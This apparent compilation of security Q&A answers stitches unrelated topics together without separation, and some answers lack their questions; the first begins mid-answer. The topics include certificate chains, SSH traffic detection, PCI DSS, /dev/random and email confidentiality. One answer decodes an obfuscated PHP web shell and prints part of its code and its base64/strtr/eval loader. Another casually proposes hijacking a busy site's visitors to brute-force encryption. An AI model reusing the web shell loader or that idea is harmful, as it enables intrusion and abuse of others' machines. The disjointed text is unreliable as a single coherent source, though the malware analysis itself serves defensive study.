Your SSL secured web server can however provide intermediate certificates (along with its own) to the client when it connects so that it can complete the chained trust verification process, but...

The next problem is the intermediate certificate, the one issued to you by your CA, may not be valid as a CA itself, and if so it won't be accepted as an intermediate certificate.

Using openssl you can check this by running 'openssl x509':

openssl x509 -text -in CERT_FILENAME

Trying this on a CA certificate, looking through the output, you can see:

                ef:47:91:0a:72:ba:9e:85:3c:7e:39:6b:62:ed:d0:
                13:53:cf:52:52:e2:a8:1a:a8:27:5c:7e:08:a2:ad:
                17:1d
            Exponent: 65537 (0x10001)
    X509v3 extensions:
        X509v3 Subject Key Identifier:
            5C:FC:C1:89:C0:DC:DD:C7:01:0D:EA:37:73:A8:7B:F4:55:85:A5:E4
        X509v3 Authority Key Identifier:
            keyid:5C:FC:C1:89:C0:DC:DD:C7:01:0D:EA:37:73:A8:7B:F4:55:85:A5:E4

        X509v3 Basic Constraints:
            CA:TRUE
Signature Algorithm: sha1WithRSAEncryption
     17:e4:1d:18:d6:43:68:75:04:11:c0:6f:72:6b:ac:eb:03:18:
     1c:f3:e3:94:f8:77:b5:40:38:3b:20:cd:42:d7:de:db:7c:98:

The magic bit that you are looking for is:

            CA:TRUE

If CA is FALSE or the x509 extensions aren't there, it's not going to work as an intermediate CA.

Finally, also if you have openssl, you can do "openssl s_client -connect som.ssl.web.site:443 -CApath /path/to/your/CAcerts -verify 5", and hopefully you should, near the end of a load of output, get:

Verify return code: 0 (ok)

Where your intermediate is not valid as a CA though, you will get:

Verify return code: 26 (unsupported certificate purpose)

I tested this generating a CA, then an intermediate certificate, and an 'end' certificate signed by the intermediate, and although the chain of trust is verifiable successfully, used on a website, it does not work. If I generate a V3 intermediate with x509 extensions, setting the basic constraints of CA to TRUE, and then generate an 'end' certificate signed by that, again the trust chain is fine, but this time the web client is happy.


SSH Protocol classification version exchange messages

The piece of code you show is doing exactly that: it is checking that there is a packet (of size 8 to 99 bytes, beginning with "SSH-") in both directions. Since client and server are supposed to talk somewhat simultaneously, the detection engine cannot assume that it will see the packet from the client or the packet from the server first; and knowing which side of the connection is the "client" might be difficult anyway in the context of packet-by-packet processing.

So the code you show uses a flag called packet_direction which has value 0 or 1, for the two possible directions. I will thereafter call direction 0 "AtoB" and direction 1 "BtoA" (it does not really matter whether A or B is the client at the TCP level). The code also uses an internal flag ssh_stage, initially at 0. When a first packet which matches the conditions (size 8 to 99 bytes, begins with "SSH-") is detected, the first half of the code is used (since ssh_stage is 0 at that point), and ssh_stage is set to 1 if this first packet is in the "AtoB" direction, 2 if it is in the "BtoA" direction.

When a second matching packet arrives, packet_direction is now set to the direction of that second packet. If that second packet is in the same direction as the first packet, then the current value of ssh_stage will not match the expression 2 - packet->packet_direction; however, it will match it if the second packet comes from the other direction (e.g. the second packet is in "BtoA" while the first packet was in "AtoB").

To sum up, the code checks that there are indeed two "SSH-looking" packets in opposite directions, as opposed to two successive packets in the same flow direction.

What you should do depends on how reliable you want your engine to be. If you only require two SSH-looking packets without considering direction, you might get some false positives, in case a non-SSH client happens to send two such packets to a non-SSH server. Requiring that the two packets flow in opposite directions will trigger fewer false positives. Note that the ndpi code is already not 100% reliable.

Indeed, if you look at RFC 4253:

The initial strings sent by both client and server may have length up to 255 characters, not 99.
After the exchange of the version strings, the connection setup dialog continues with some extra data from the client, which the client is allowed to send immediately, possibly in the same packet as its version string, so the client payload length might be way above 255 bytes.
The server is allowed to send some extra lines of characters before its version string, so the server packet payload length may also exceed 255, and it does not necessarily begin with "SSH-".

So the ndpi code may miss some perfectly standard SSH connections. It is up to you to decide whether you want to miss more or fewer such connections. Of course, the more reliable you want your code to be, the more work you will have to do...


You can decode the start of $_X:

root@bt:~# echo -e 'Pz48P3BocA0KDQovKioNCiAqIEAxM3RoMnIgSWtyMW0gQUxJDQogKiBAYzJweXI0Z2h0IGEwNmENCiAqLw0KQGQ1ZjRuNSgnVkVSU0lPTicsJzYuMCcpOw0KQDVycjJyX3I1cDJydDRuZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIG0xZHN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ20xZHN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gbTFkc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KNGYgKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKT09Inc0biIpDQogICAgJHN5cz0ndzRuJzsNCiA1bHM1DQogICAgJHN5cz0nM240eCc7DQogICAgDQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZzV0Y3dkKCk7DQo0Zigkc3lzID09ICd3NG4nKSANCnsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJG' | base64 -d -

?><?php

/**
 * @13th2r Ikr1m ALI
 * @c2pyr4ght a06a
 */
@d5f4n5('VERSION','6.0');
@5rr2r_r5p2rt4ng(E_ALL ^ E_NOTICE);
@s5ss42n_st1rt();
@4n4_s5t('5rr2r_l2g',NULL);
@4n4_s5t('l2g_5rr2rs',0);
@4n4_s5t('m1x_5x5c3t42n_t4m5',0);
@s5t_t4m5_l4m4t(0);
@s5t_m1g4c_q32t5s_r3nt4m5(0);

4f(g5t_m1g4c_q32t5s_gpc()) {
    f3nct42n m1dstr4psl1sh5s($1rr1y) {
        r5t3rn 4s_1rr1y($1rr1y) ? 1rr1y_m1p('m1dstr4psl1sh5s', $1rr1y) : str4psl1sh5s($1rr1y);
    }
    $_POST = m1dstr4psl1sh5s($_POST);
}
$d5f13lt_1ct42n = 'F4l5sM1n';
$d5f13lt_3s5_1j1x = tr35;
$d5f13lt_ch1rs5t = 'W4nd2ws-6ai6';
4f (strt2l2w5r(s3bstr(PHP_OS,0,o))=="w4n")
    $sys='w4n';
 5ls5
    $sys='3n4x';

$h2m5_cwd = @g5tcwd();
4f(4ss5t($_POST['c']))
    @chd4r($_POST['c']);

$cwd = @g5tcwd();
4f($sys == 'w4n')
{
    $h2m5_cwd = str_r5pl1c5("\\", "/", $h2m5_cwd);
    $cwd = str_r5pl1c5("\\", "/", $base64: invalid input

A quick google search reveals that it's a web shell and it has been decoded before:
https://gist.github.com/smiler/4500976

In the eval line:

JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==

This is base64 decoded to:

$_X=base64_decode($_X);
$_X=strtr($_X,'123456aouie','aouie123456');
$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);
eval($_R);
$_R=0;
$_X=0;


The "master" is the key that can certify other subkeys, so the only relevant usage for your master key is (C). When GnuPG creates a brand new set of keys, the default behaviour is to create a master key that can also act as signing key, so it assigns it (CS) capabilities, which is why you frequently see that combination. However only the (C) capability is relevant to your offline master.

In other words, what you have is correct.


For securing a server you can follow the TCP/IP Model for trying to have the most secured system possible.

With this model you will apply the principe of secure in depth and you will apply a secured principe on each layer of the model.

Example:
If your SQL server talk with only a few servers in the same local network you can do a static ARP table with each server.

To protect your layer 3 and 4 (protocol IP and TCP), you will apply firewall rules like this :

# MYSQL FROM WEB SERVERS
-A INPUT -s <ip source> -d <ip destination> -i eth0 -p tcp -m state --state NEW,ESTABLISHED -m tcp --dport 3306 -j ACCEPT
-A OUTPUT -s <ip source> -d <ip destination> -o eth0 -p tcp -m state --state ESTABLISHED -m tcp --sport 3306 -j ACCEPT

After, you will apply secured rules on your SQL server :

create users with appropriate rights on the DBs don't connect with root credentials, create a user per db and all others secured principes specific to your SQL server
secure your server (the OS) physically and logically

And finally, you will be aware to secure the applications (if you can) which connect to your SQL server.

With all of that, you have a starter point to begin to secure your system.


You should not only protect yourself from XSS by scanning HTTP requests for attacks. Such a scan will never be complete, and there will always be some smart tricks that slip through the net. Your first line of defence must always be to properly sanitize untrusted data, so as not to create any XSS vulnerabilities in the first place.
For how to do that, see OWASPs cheat sheat on the topic. If possible, I would recommend you to set the Content Security Policy header strictly, as this will give you a solid defence on modern browsers. It even has a reporting directive that will instruct the browser to inform you about attempted attacks.
That said, for defence in depth it can be good to also scan HTTP requests to filter out any XSS attacks you can detect. Most web application firewalls, like Naxsi for Nginx, will do that. I recommend using an existing WAF here and not try to roll your own - there is no simple regex that will catch all XSS attacks.
So how does Naxsi do it? According to themself:

This module, by default, reads a small subset of simple (and readable) rules containing 99% of known patterns involved in websites vulnerabilities. For example, <, | or drop are not supposed to be part of a URI.
Being very simple, those patterns may match legitimate queries, it is Naxsi's administrator duty to add specific rules that will whitelist those legitimate behaviours.

By the way, it is not only GET request you have to worry about, but also POST or any other HTTP method. XSS attack vectors can be anywhere - in the URL, in the coockies, in the POST data, in the user agent header, etc, etc.


Is storing card details without the permission of the card holder against PCI DSS?

As far as I'm aware PCI-DSS doesn't cover permission of the user for storing data (depending on where you live something like the Uks Data Protection Act might).  That said if a company is storing full track data (inc CVV2) they wouldn't be compliant with DSS. They may only store card details for the purposes of tracking things like chargebacks, although from what I've seen many merchants are moving away from storing card details if at all possible due to the resultant compliance headaches.


Add a file as entropy source for /dev/random

First of all, to answer your question directly: This cannot be done. It is purposefully not allowed.

You can, in fact write to /dev/random and it will mix your input into the random pool, potentially improving the quality of the output. But it won't update the entropy_count and unlock /dev/random for reading, because that would be cheating. Otherwise you'd be able to do something like this:

cat /dev/urandom > /dev/random  # Sup dawg, I heard you like random pools...

Except that you can. Sort of.

There's an ioctl called RNDADDENTROPY available on /dev/random that updates the entropy pool and then increments the entropy_count accordingly. The idea is to allow you to read from a hardware RNG in userspace and dump it into the kernel pool without writing your own driver. Nifty. And while anyone is allowed to dump their entropy into  /dev/random (it can't hurt), only root is allowed to use RNDADDENTROPY.

And yes, there is a tool out there that allows you to do this relatively easily; it's called rngd. Its primary purpose is to read from an RNG like /dev/hwrandom or your processor's RDRAND instruction, and constantly re-seed your entropy pool as it gets low. But it takes an arbitrary filename for input, so yes, you can even do this:

rngd -r /dev/urandom

Which, in all honesty, is not entirely unlike doing this:

ln -sf /dev/urandom /dev/random

But as I stated originally, that doesn't mean that you can use this tool to make the kernel use your file as its source of entropy. That bit, at least, is not allowed. You can use it as an additional source of entropy mixed in with all the others, but not the only source of entropy.

If you're convinced your file is of prime-grade randomness, then just use that. You don't have to inject it through the kernel's entropy estimation system. If instead you have a mechanism for generating TRNGs, then by all means dump it in there with all the rest of the entropy sources; rngd makes that pretty simple.

I won't bother telling you about the utter absurdity of religiously avoiding /dev/urandom on real servers, as clearly you've heard that lecture several times and choose not to listen.

But for everyone else, the difference between /dev/random and /dev/urandom only matters immediately at startup on devices without reasonable sources of randomness (like some embedded devices), where the startup conditions are precisely repeatable, and where the random pool is not saved between boots. In all other cases, any theoretical attack  against /dev/urandom would require techniques and technology that literally do not exist, and are not expected to ever exist, ever.

From the wording of your question, you seem to be under the impression that /dev/random outputs the result of a TRNG, while /dev/urandom uses a PRNG. This is not accurate. The only difference in output is that random will "lock up" if it's generating bytes faster than it's observing random events, while urandom will not. Otherwise they both run the exact same code on their respective pools. Neither directly outputs the raw bits from a TRNG. Both use random events to constantly re-seed a PRNG.


Should I be concerned if my school district has a major shell exposed?

If this shell allows you to send reverse shell or anything else in that nature you should report this immediately to the sysadmin so he can take care of the issue. Everyone's data is at risk.

  Should the admin, everyone else, and me be worried about this?

Think about it. Would you let a rouge exploit roam around the network being unpatched? If this exploit allows you to see ALL THE PASSWORDS then you can login to the accounts and cause mischief on all the students.


How to transfer the `id` more securely in Rails project?

That would depend on your permissions model. As it stands, a call to update_attributes etc. allows anyone with permissions to update a report to also link that report to any inspector. If this is not a privileged operation in your application, e.g. if all your users have the same rights and are supposed to be able to access all records in your database, that might be fine.

Otherwise you'd need to check whether the current user is allowed to establish a link between the specified report and inspector. How that works is of course highly dependent on your application; if you want a nice way to organise your permissions in a central place, I encourage you to have a look at the cancancan gem:

https://github.com/CanCanCommunity/cancancan

In any case, the problem is not the way the ID is transferred but that you might need to check it before accepting it into your database.


Are there different degrees of "confidentiality"? What is the best way for a psychologist to maintain confidentiality of communications with patients?

I would like to disagree with the idea that email could be safe enough for confidential information exchange of any kind particularly between a psychologist and her patients.

An often quoted rule is that you should always treat any unencrypted e-mailed communication to be about as confidential as if you wrote it on the back of a postcard. In reality it's a bit worse than that since it's a fair amount of work to index, search and filter messages on post cards (especially since you need to make copies first) while it's trivial to do the same thing for email.

At the very least you have breaches of confidentiality at both the psychologists mail provider and the patients mail provider. To make matters worse the patients mail provider might be his employer who might actually have interest in the information being exchanged, and worse still if their internal policies are set up in ways many are, might have a legal right to inspect that email.

I would also like to disagree with the idea that "There is no incentive for an attacker to read someone's life story", quite the opposite. As an example consider a politician who might say be going to counselling for alcohol abuse. I'm sure an opposition politician would find information about that to be worth a lot of money. The same might be said for many other cases, be it employees with symptoms of work related diseases developing or parents in a divorce fight.

Last but not least (disclaimer: I'm not a legal expert and my knowledge of HIPAA is cursory) I think there is a very good chance that HIPAA does apply and very probably regulates which things can be communicated to a patient through email if any.

All in all I think it would be advisable not to use unencrypted email communication for anything short of setting up appointments and even for that I would be extremely wary. On the off chance your friend would consider setting up certificates for herself and her clients and using encrypted email she should bear in mind that subject lines of emails are never encrypted.

EDIT I realize this isn't really an answer to the question I just wanted to make sure disagreement with email was voiced. I will write up a more comprehensive answer later when I have more time.

EDIT2 So having spent a lot of words destroying an idea let's try and be constructive. If you can't use email (unencrypted) what can you use?

Well the "easiest" solution would be encrypted email. Assuming you make sure to not put any sensitive information in the subject fields this is a very secure solution when set up right.

The usual problem with using encrypted email is that both parties need to have certificates, and need to have correctly set up trust chains. This is usually a fair amount harder then would seem especially when the certificates aren't managed centrally. Encrypted emails work pretty well within an organization where everyone gets issued certificates on a regular basis preferably by internal IT and where that same IT ensures their email, computer and what have you is set up correctly. Sadly lacking that most people tend to struggle with certificate management and use. Still assuming the people are able to deal with these obstacles using encrypted email used properly and consistently is really quite safe.

Another alternative I would consider is setting up a normal webserver which only allows connection using HTTPS reasonably hardened, and on that server set up a very simple messaging system. Each client gets to choose a user name and a password first time they come. This password is then used to log them into the system over HTTPS. The website then does very little other then save and display messages sent between the client and the psychologist. Now this can be implemented very well but will probably be overkill for a single doctor. Done well it could easily serve many though.

To round it off with something that is certainly not perfectly secure but might solve your problems with a reasonable degree of security, a lot better then mail anyway. If your friend only needs to send confidential information quite rarely one very easy and free way to do that is using encrypted zip archives. All up to date zip programs (winzip, 7-zip,gzip even) are capable of state of the art symmetric encryption with key derived from a password. You are left with the problem of distributing the keys ofcourse, but that can be handled either using predetermined keys (a bit kludgy) or by sending the keys for example using SMS (not very secure). While using SMS to send the keys is certainly not particularly secure it does split the data and the key over two different channels at least and if you want to get to the message you have to do a decent amount of work. It still isn't safe against the feds,NSA, local police or probably even a really dedicated private investigator, it's still miles beyond just sending the message using email only.

Personally if I were your friend I would look into seeing if they can't possibly join up with some already set up secure messaging solution possibly used by other doctors in the area or maybe even available through a health care insurer they might have a contract with.

Last but Most important whatever solution they choose to go with I would strongly advise to consult with someone who has extensive knowledge of the HIPAA regulations. Haven't looked up a few things online the penalties for non compliance can be extremely painful this article http://www.aaos.org/news/aaosnow/aug12/managing5.asp talks about $50'000 fine.


What's with the Facebook malware which posts obscene posts in all the groups?

Go through the apps you gave some permission on facebook. Especially the "post on my behalf" permission. Remove any you don't trust (or don't remember giving them permissions).

Anyway, it might be a one time thing, and there is nothing to get rid of. Read through this blog post for more information.

In the extreme case, you might be indeed infected by malware (I don't think so in case you were really cautios and don't remember running any executables). However, if this is the case I recommend scanning your PC for malware (there are various forums out there where you can get help with this).


What's the point of buying a Blackberry that runs the Android OS?

So many questions, let's tackle one-by-one.

  Recently, Blackberry began selling smartphones that run the Android
  OS. If the Android OS has so many security issues out-of-the box, then
  why bother paying extra for it?

Because Android has many useful applications which are not otherwise available on Blackberry. Android has approximately 10x more apps, so a chance to find an app you need (for example, Airline-specific app) is much higher on Android. Thus for many users it would be worth paying extra.

Consider that an old cell phone (which is not a smartphone) is extremely secure against many nowadays attacks - no ransomware ever! However you'll see very few people still using it, despite its extremely high level of security.

  Blackberry claims that the phones have a "hardened" version of the
  Android OS. Are these measures worth the cost, or do they only provide
  trivial protection against an experienced hacker?

This is impossible to answer without knowing specifics, especially how contained the Android frameworks are on Blackberry. However it is possible to contain them better on Blackberry, because Android frameworks do not have to run under root or have access to hardware, like they do on Android.

  Can you get the same level of protection by simply buying a regular
  Android and then hardening it yourself?

Unless by "harderning" you mean "rewrite a significant enough part of Android", the answer is No. You will not have the same level of protection in this case, because you cannot contain all Android code in such a way that nothing Android-specific runs with elevated privileges.


Common characters/statements in obfuscated JavaScript

Obfuscating in Javascript is usually done by generating the code dynamically. While you find older examples which make extensive use of chr(..) or base64 or lots of string concatenations detection heuristics improved to flag this kind of code as potentially malicious so that the attacked improved their methods. Typical current examples like this  are not easily distinguishable from non-malicious code.

The methods used in malicious code to decode the obfuscation are the same methods used heavily in non-malicious code, i.e. innerHTML, document.write etc. Also, Javascript provides lots of different ways to call functions like eval, among them constructing the function name from a string before calling it.

In summary: there are no characters and statements which are typical for modern obfuscated JavaScript but which you don't find anywhere else. Especially if you look at the output from minifiers which are often used to save bandwidth and improve load times, you will find more similarities between minified and obfuscated code than between minified and "normal" code.


How can a website know my private IP address?

It looks like it tries to fetch the web page at each of a list of common router local IPs with JavaScript, deciding that it's found it when one responds. It uses jQuery's $.get(), but there are lots of ways to fetch one a web page from within another1. This assumes that the router has a web administration panel on port 80, but they usually do.

The relevant code is on and around line 2495 of the source code for the page (view-source:http://whatsmyrouterip.com/):

2463   var ips = [["10.0.0.10", []], ["10.0.0.100", []], ["10.0.2.1", []], ...

       <snip>

2495   $.get('http://' + currentIp[0], function () {
2496     foundIp();
2497   });

1Well, getting the content may be tricky because of Same-Origin Policy, but a request that fails because of SOP and one that fails because the site doesn't exist look different so you can still tell if there's something there or not.


Breaking full-disk encryption on a computer that's rarely used

In 1998, DES3 was still considered to be a standard for security (fips 46-3 wasn't withdrawn until 2005). But it was already crackable by brute force within days. Your problem however is access to computing resource - if the gun were pointing at my head, my next thought would be to look at a way of distributing the operation via javascript from a busy site...

However if the gun were pointing at my head, then the first thing I'd do is check for post-it notes. The next place I would think to to look for a way into a machine which probably hadn't been patched for 10 years is a vulnerability database - security tools don't have a good security record.


How does sslsniff sign a certificate with a leaf certificate in trust chain?

signing a certificate with a leaf certificate in trust chain need to know the private key in left certificate.

It is true that signing a certificate needs the private key of the issuer (signers) certificate. But it also needs to have a certificate as signer which can be used as CA, i.e. where basic constraints allow use as CA. This is usually not true for leaf certificates.

  Am I missing something?

You are missing that sslsniff used a specific bug in IE as described on its website:

  This tool was originally written to demonstrate and exploit IE's vulnerabilityto a specific "basicConstraints" man-in-the-middle attack. While Microsoft has since fixed the vulnerability that allowed leaf certificates to act as signing certificates,...

Which means because of this bug it was possible that an attacker could use an easily and legally to obtain leaf certificate issued by a publicly trusted CA for the attackers website to sign other certificates so that they get accepted by IE. Since in this case the attacker had of course the private key to its own certificate the signing was no problem. The problem instead was that IE accepted built the trust chain by using the attackers certificate as intermediate in the path to a trusted root CA even though the basic constraints in the attackers certificate allowed it to be used as CA.


How to know if unauthorized users have connected to my home wifi?

TP-Link routers, like most home routers I know about, maintain a system log that one can view through the web browser administrative interface.

You could use a cast-off computer to read the log file repeatedly and do something like send an SMS message any time there's a new connection, or when the number of connections reaches a threshold, etc.

You might be able to send the log entries to a central log server using the syslog protocol.  I haven't researched TP-Link that far.  Then your remote logging server could do the monitoring.

Both of those seem like overkill to me.  Use a really strong (i.e. randomly generated) password, which you write down and keep someplace safe.  Use the strongest authentication available, which is likely to be WPA2.  Check the logs every week or so for strangeness.  If you're really paranoid, turn the router off when you're not using it.


SSL connection between MySQL, Apache and the User's device

The answer seems quite simple to me. The final decision however, depending on the context, may not be as simple as it implies the notion of trust.

SSL is a protocol allowing you to establish a secure connection over an untrusted network. The usefulness of SSL in your case therefore lies in this question:

Do you trust the network between the web server and the database server?


Does NTLM authentication via HTTP not need a user name?

There are two versions of NTLM, there are signing and sealing options, and other variations.  the best resource is this.  http://davenport.sourceforge.net/ntlm.html NTLM Auth always needs a username, or the DC can't lookup the users NT Hash and validate the math.


Remove pdf malware by re-printing to new pdf or text extract?

PDF malware tends to target the vulnerabilities of the PDF reader you use. You might find success by using an alternate reader and extracting the text.

As for "NoScript"-like options, PDF readers do tend to have the option to not execute dynamic code, but not all malware takes advantage of PDF scripting to do its work (it takes advantage of vulnerabilities, as I said).


I suspect your router rebooted. While booting, it redirected all web connections to it's local interface (eg. what is usually shown at 192.168.1.1). It has such invalid and expired certificate at https://192.168.1.1 During that brief period, you requested an https webpage, that was redirected to the router, which returned its cert and, as it is invalid, you got that prompt.


How to implement multi factor authentication using a token generator?

There are a lot of existing ones, and they come with their own APIs. You can implement any algorithm you wish. See this site.

Drawing it up from scratch, for disconnected tokens you have a few options. They can be:

counter-based -- a new password with every press and the authenticating system doesn't allow anything at least as old as the last used password
time-based -- the algorithm factors in the current time and the server doesn't allow anything other than present, the minute before, and the next minute (or possibly a slightly wider window); requires good time sync

You need to seed an unpredictable sequence based algorithm with a secret shared value and either the time or your counter. hash(time . secret) or such. Using SHA-256 and chopping off some bits would be effective.

Strength comparisons:

RSA token -- 8 numeric digits, 108 (one in a hundred million)
six numeric digits, 106 (one in a million)
six alpha-numeric, 2.1x109 (one in 2 billion)
six alpha-numeric, with caps: 5.6x1010 (one in 56 billion)

See also:

OPIE Authentication System
S/Key


Detection and monitoring of important events on OpenVPN server

properly monitoring will depend on your network configuration and the environment where you feel comfortable.
following the scenario and as a quick answer you probably want to do a deep study of this concepts and how apply because tool recommendation will be really specific to your network and you didn't give much info about your network and services.

IDS from wikipedia

  An intrusion detection system (IDS) is a device or software application that monitors network or system activities for malicious activities or policy violations and produces reports to a management station

IPS from wikipedia

  Intrusion prevention systems (IPS), also known as intrusion detection and prevention systems (IDPS), are network security appliances that monitor network and/or system activities for malicious activity. The main functions of intrusion prevention systems are to identify malicious activity, log information about this activity, attempt to block/stop it, and report it

the use of honeypots is really recommended,

  In computer terminology, a honeypot is a computer security mechanism set to detect, deflect, or, in some manner, counteract attempts at unauthorized use of information systems. Generally, a honeypot consists of data (for example, in a network site) that appears to be a legitimate part of the site but is actually isolated and monitored, and that seems to contain information or a resource of value to attackers, which are then blocked. This is similar to the police baiting a criminal and then conducting undercover surveillance, and finally punishing the criminal.

The SNMP protocol from wikipedia

  SNMP is widely used in network management systems to monitor network-attached devices for conditions that warrant administrative attention. SNMP exposes management data in the form of variables on the managed systems, which describe the system configuration. These variables can then be queried (and sometimes set) by managing applications.


Is using a username and smart card two-factor authentication?

If the username is secret and not reasonably ex tractable from card, I would say yes.

If the username is not secret, or at least easily guessable because it is strongly based on something not secret like your name it should not be considered a "factor" for authentication.

If the username is easily retrievable from the card we do not have independent factors which is what we really need when discussing Multi-Factor-Authentication.


How does paypal store credit card numbers?

This is most likely confidential, so I bet you won't get a 100% answer to this one.
However, we know PayPal are PCI-DSS compliant.

This means they are compliant with 3.4 in the standard, which states: "Render PAN unreadable anywhere it is stored". That means with a probability of at least 99% that they store the credit card numbers encrypted. It is possible with compensating controls to store them unencrypted, but it's very difficult to get a compensation control to 3.4 approved by a QSA.

Regarding HSM, we must guess again. It is definitely possible to comply with PCI-DSS without using a HSM, it's just way harder. For a company with a small budget, they might want to avoid the cost purchasing a HSM. For a company like PayPal, it's a no-brainer, so I'm 99% sure they're using a HSM to manage their crypto keys.


Could a user never store a password if a username/email hash was used instead?

If the protocol you use is vulnerable to Man-in-the-Middle attacks, then you lose anyway, regardless of how much hashing you apply: the MitM attacker can just wait for your authentication to be performed, and then hijacks the connection at that point. I must say, though, that SSL is NOT vulnerable to MitM, as long as nobody does anything stupid (for instance, looking at a big red warning from the browser which says "this server uses an invalid certificate" and clicking "shuddup I want to connect anyway" is "something stupid").

So we are talking about a user who did something bad enough to breach SSL; and the same user also reused the same password on several sites. Unfortunately, there are many users who do such things. Your proposal suffers from two main issues:

Password storage should use password hashing, with salts and slowness. A large number of iterations is applied, so that an attacker who could dump the server's database still suffers a lot when trying to crack the passwords. But in your case, this hashing MUST necessarily occur on the client side, in Javascript. Javascript is far (very far) from having enough muscle to do that. This would imply dividing the iteration count by at least 10 (probably more) so that login time remains tolerable, thus dividing by at least 10 security against an offline dictionary attack.
Javascript. The code which does the hashing has just been served by the server itself, over the connection that we assumed to be under a MitM attack. Such an attacker can modify this Javascript at will. Namely, he can add a tiny bit of extra Javascript which also sends the login and password (as entered by the user) to his own evil server.

The second point makes the discussion moot: if an attacker can run a successful MitM, then he can grab the password from the source, i.e. the entry field in the Web page, and no amount of Javascript can change anything to that.


How can wireless router password encrypts data using WEP and WPA

I'm sorry you're going to have to clarify what/which passwords and keys you are talking about.  And what you mean by password to get access to the network?

WEP and WPA-PSK are not related in their use of passwords.
You mention the 4 WEP keys and that you understand them.  Each key is unrelated, only one is used to encrypt any given message.  The sender indicates which key with a two bit field in the on-air message.  This was a "feature" to allow 4 independent passwords for a single SSID.  It was not consistently implemented.

Typically you give the wireless configuration the key or password needed to authenticate.  802.11 has an authentication exchange that can test the key, and it was used by WEP.  But it was shown not to be effective and is not used by WPA protocols.
Instead they uses a process called the 4-way handshake to authenticate and establish the temporal encryption keys.

The Wikipedia pages for WEP and 802.11i give a complete discussion with diagrams.


Performance of verifying the certification chain?

Yes you can make that assumption, at least for some time. Best would be to re-validate the signature every some many seconds/minutes/bytes depending on the use case.

If possible, try to create a packet chain. For example; every individual packet calculates an hash (take HMAC(K,m)) over the data m in the packet using key K which can be the the hash from the previous packet. This essentially links a chain of packets were a packet can only be valid if the previous packet was too. As an additional benefit, it does not only guarantee the authenticity but also the integrity of the data. Such a construction is way faster, but is not always possible. If packets are received in parallel or in random order this won't fly.


Actual issue? Phone switches from 3G to router makes session switch from https to http

If the phone switches networks, then it would have to create a new connection. The router can behave the way you describe only by having a server listen on port 80 (HTTP) and then proxying data back and forward to a different session over HTTPS.

A simple configuration issue cannot produce the necessary servers and proxying behavior for your scenario to be valid.

There is the SSLStrip attack that is similar to your description but it involves many more steps.


Will Ad Block Plus block the ads that give someone Cryptowall 2.0?

It can't hurt.  ABP (and similar software) blocks known ad providers and patterns that look like ad providers.  If one of them gets popped and starts serving up malware, ABP will save you.  If the site you're on is the compromised one, ABP can't help (unless the compromise is to point at a compromised ad network that's already blocked... seems complicated).  Better than nothing :)


How to get started as a Malware Analyst?

The two previous posts give great advice.

Here are the areas I would focus on:
 1. C and Assembly Languages - Critical you know Assembly like a second language
 2. Debuggers - WinDBG and gdb - A debugger will be your best friend
 3. Windows and Linux Internals - You must know exactly how the target system works so you can identify exactly what the malware is trying to perform
 4. Experience - do anything you can to show you know your stuff competitions, exercises, blog posts etc.

p.s. check out Cyberwarrrior Academy they offer a free 2 week class on Windows internals and malware development/analysis for qualified U.S. participants


The future or security depends on the domain, there are a few "curves/paths" to consider

Applications will get more complex - more room for bugs and holes
Security is big business and is part of more com sci programs, younger programmers may have more knowledge and inclination to care about security
Complete platforms with apps are becoming more popular - iphone, xbox 360, etc. By limiting the developers and the deployment options, vendors can (but not necessarily) may have more security reviews
At the same time, there are more web apps then desktop apps - you have one website/app with many attack vectors (database, javascript, backend language, SSL)
At the same time, "older techniques" are becoming more difficult and security is being built it - address randomization, sandboxing, DEP, etc.
In addition, new programming paradigms and processes are emerging- there is a greater focus on the process then the end product, so more debugging, helper functions, frameworks which provide methods to automatically filter out injections

Now that is a general picture of where security is going. There is a greater consciousness for security, and constant changes in vecotrs; however, single activities may be very complex, interact with many systems, so there is room for holes anywhere.

